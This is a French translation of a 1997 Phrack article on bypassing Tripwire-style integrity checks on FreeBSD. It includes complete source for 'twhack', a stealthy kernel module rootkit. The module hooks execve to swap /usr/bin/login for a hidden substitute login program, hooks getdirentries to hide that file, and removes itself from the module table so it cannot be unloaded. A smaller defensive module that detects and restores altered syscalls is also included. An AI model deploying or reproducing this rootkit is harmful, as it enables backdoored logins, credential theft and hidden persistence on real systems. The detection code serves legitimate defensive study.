---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17 -------------------------[ Bypassing Integrity Checking Systems --------[ halflife Nous vivons une époque dans laquelle des intrusions se produisent chaque jour et il existe une version de "rootkit" pour tous les systèmes d'exploitations imaginables, bien que la plupart des équipes d'administrateurs système incompétents ont commencé à utiliser des checksums de leurs fichiers binaires. Pour la communauté des hackers, il se pose un sérieux problème depuis que leurs très ingénieux chevaux de Troie sont rapidement détectés et supprimés. Tripwire est un utilitaire libre et très répandu pour effectuer le contrôle d'intégrité sur les systèmes UNIX. Cet article examine une méthode simple pour contourner les contrôles réalisés par tripwire et d'autres programmes de contrôles d'intégrité. Avant tout, comment fonctionnent les programmes de contrôles d'intégrité ? Quand vous les installez pour la première fois, ils calculent un hash (parfois plusieurs hashes) de tous les fichiers binaires que vous voulez surveiller. Ensuite, périodiquement, vous lancez le programme de contrôle et il compare le hash courant avec le hash précédemment enregistré. Si les deux diffèrent, quelque chose de louche s'est produit, et c'est noté. Différents algorithmes existent pour réaliser les hashes, le plus répandu est probablement le hash MD5. Dans le passé, il y a eu des problèmes avec plusieurs hashes. MD5 a eu quelques collisions, tout comme beaucoup d'autres algorithmes de hash sécurisés. Cependant, exploiter les collisions reste encore très très difficile. Le code présent dans cet article ne dépend pas de l'utilisation d'un algorithme spécifique, mais se concentre plutôt sur un problème de confiance -- les programmes de contrôle d'intégrité ont besoin de se baser sur le système d'exploitation, et quelques uns sur la libc. Dans un code qui est conçu pour détecter les changements qui devraient normalement nécessiter un accès root, vous ne pouvez avoir confiance en rien, y compris votre propre système d'exploitation. La conception de twhack demande quelques exigences. La première est qu'il ne nécessite pas une recompilation du noyau ; les modules de noyau chargeables (Loadable Kernel Modules, LKM) fournissent une solution à cela. La seconde est qu'il a besoin d'être relativement furtif. J'ai réussi à trouver un moyen simple pour cacher le LKM dans le noyau de FreeBSD (fonctionne sans doute sur OpenBSD et NetBSD bien que je ne l'ai pas vérifié). Une fois que le module est chargé, la première commande ls va effectivement cacher le module de la vue. Une fois caché, il ne pourra pas être déchargé ou bien vu avec la commande modunload(8). Pour commencer, une petite information sur les modules chargeables sous FreeBSD. J'utilise le type de modules MISC, lequel est grandement similaire aux modules de Linux. Il vous donne un accès total. L'information concernant le LKM est stockée dans un tableau de structures. Dans FreeBSD 2.2.1, le tableau peut contenir 20 modules. Cacher des modules est vraiment simple. Il existe une variable qui détermine si l'emplacement du module est libre ou non. Quand vous ajoutez un module, le pilote recherche le premier emplacement de module libre -- l'emplacement libre est défini comme une entrée avec 0 dans l'emplacement utilisé et place des informations dans la structure. Cette information est généralement utilisée pour le déchargement, et nous ne nous intéressons pas à cela, donc ce n'est pas grave si d'autres modules écrasent notre structure (même si quelques appels peuvent se produire sur cette information). Ensuite, nous devons rediriger les appels système qui nous intéressent. C'est assez similaire aux modules de Linux. Les appels système sont stockés dans un tableau de structures. La structure contient un pointeur vers l'appel système et une variable donne le nombre d'arguments. Evidemment, ce qui nous intéresse est le pointeur. Pour commencer, nous utilisons bcopy pour copier la structure dans une variable, ensuite nous modifions le pointeur de la fonction pour qu'il pointe sur notre code. Dans notre code, nous pouvons faire old_function.sy_call(arguments) pour appeler l'appel système d'origine -- rapide et sans douleur. Maintenant que nous savons COMMENT rediriger les appels système, lesquels allons-nous rediriger et dans quel ordre pour contourner les contrôles d'intégrité ? Eh bien, il existe beaucoup de façons. Vous pouvez rediriger open(), stat(), et un tas d'autres qui observent vos programmes modifiés et redirigent vers une copie de la version non modifiée. Cependant, j'ai choisi l'approche contraire. Les tentatives de login seront redirigées vers un autre programme, qui ouvre le véritable programme de login. Dès lors, nous ne voulons pas que notre programme de login alternatif soit détecté, j'ai donc modifié getdirentries pour que notre programme ne soit jamais dans le tampon qu'il renvoie. Le même principe peut être utilisé avec le syscall 156 qui est l'ancien getdirentries, mais je ne pense pas qu'il soit défini et je ne sais pas tout sur son utilisation, donc ce n'est sans doute pas important. Malgré les tentatives de le garder caché, il y a quelques moyens de détecter ce code. Un des moyens pour détecter (et arrêter) le code est fourni. C'est un simple module furtif qui signale quand une adresse de syscall change, et annule les changements. Il va arrêter le module twhack donné, mais c'est LOIN d'être parfait. Ce que le code de vérification fait est bcopy()-ier la totalité du tableau sysent dans une copie locale. Ensuite, il enregistre un lien vers at_fork() et dans ce lien, il vérifie la table des appels système en comparaison avec celle en mémoire et, si elles diffèrent, il signale les différences et change l'entrée par la précédente. <++> twhack/Makefile CC=gcc LD=ld RM=rm CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST) LDFLAGS=-r RST=-DRESTORE_SYSCALLS all: twhack syscheck twhack: $(CC) $(CFLAGS) -c twhack.c $(LD) $(LDFLAGS) -o twhack_mod.o twhack.o @$(RM) twhack.o syscheck: $(CC) $(CFLAGS) -c syscheck.c $(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o @$(RM) syscheck.o clean: $(RM) -f *.o <--> <++> twhack/twhack.c /* ** This code is a simple example of bypassing Integrity checking ** systems in FreeBSD 2.2. It has been tested in 2.2.1, and ** believed to work (although not tested) in 3.0. ** ** Halflife */ /* change these */ #define ALT_LOGIN_PATH "/tmp/foobar" #define ALT_LOGIN_BASE "foobar" /* includes */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* storage for original execve and getdirentries syscall entries */ static struct sysent old_execve; static struct sysent old_getdirentries; /* prototypes for new execve and getdirentries functions */ int new_execve __P((struct proc *p, void *uap, int retval[])); int new_getdirentries __P((struct proc *p, void *uap, int retval[])); /* flag used for the stealth stuff */ static int hid=0; /* table we need for the stealth stuff */ static struct lkm_table *table; /* misc lkm */ MOD_MISC(twhack); /* ** this code is called when we load or unload the module. unload is ** only possible if we initialize hid to 1 */ static int twhack_load(struct lkm_table *l, int cmd) { int err = 0; switch(cmd) { /* ** save execve and getdirentries system call entries ** and point function pointers to our code */ case LKM_E_LOAD: if(lkmexists(l)) return(EEXIST); bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent)); sysent[SYS_execve].sy_call = new_execve; bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent)); sysent[SYS_getdirentries].sy_call = new_getdirentries; table = l; break; /* restore syscall entries to their original condition */ case LKM_E_UNLOAD: bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent)); bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent)); break; default: err = EINVAL; break; } return(err); } /* entry point to the module */ int twhack_mod(struct lkm_table *l, int cmd, int ver) { DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd); } /* ** execve is simple, if they attempt to execute /usr/bin/login ** we change fname to ALT_LOGIN_PATH and then call the old execve ** system call. */ int new_execve(struct proc *p, void *uap, int *retval) { struct execve_args *u=uap; if(!strcmp(u->fname, "/usr/bin/login")) strcpy(u->fname, ALT_LOGIN_PATH); return old_execve.sy_call(p, uap, retval); } /* ** in getdirentries() we call the original syscall first ** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH ** and ALT_LOGIN_BASE should _always_ be modified and made ** very obscure, perhaps with upper ascii characters. */ int new_getdirentries(struct proc *p, void *uap, int *retval) { struct getdirentries_args *u=uap; struct dirent *dep; int nbytes; int r,i; /* if hid is not set, set the used flag to 0 */ if(!hid) { table->used = 0; hid++; } r = old_getdirentries.sy_call(p, uap, retval); nbytes = *retval; while(nbytes > 0) { dep = (struct dirent *)u->buf; if(!strcmp(dep->d_name, ALT_LOGIN_BASE)) { i = nbytes - dep->d_reclen; bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen); *retval = i; return r; } nbytes -= dep->d_reclen; u->buf += dep->d_reclen; } return r; } <--> <++> twhack/syscheck.c #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static int hid=0; static struct sysent table[SYS_MAXSYSCALL]; static struct lkm_table *boo; MOD_MISC(syscheck); void check_sysent(struct proc *, struct proc *, int); static int syscheck_load(struct lkm_table *l, int cmd) { int err = 0; switch(cmd) { case LKM_E_LOAD: if(lkmexists(l)) return(EEXIST); bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL); boo=l; at_fork(check_sysent); break; case LKM_E_UNLOAD: rm_at_fork(check_sysent); break; default: err = EINVAL; break; } return(err); } int syscheck_mod(struct lkm_table *l, int cmd, int ver) { DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd); } void check_sysent(struct proc *parent, struct proc *child, int flags) { int i; if(!hid) { boo->used = 0; hid++; } for(i=0;i < SYS_MAXSYSCALL;i++) { if(sysent[i].sy_call != table[i].sy_call) { printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call); #ifdef RESTORE_SYSCALLS sysent[i].sy_call = table[i].sy_call; #endif } } } <--> ----[ EOF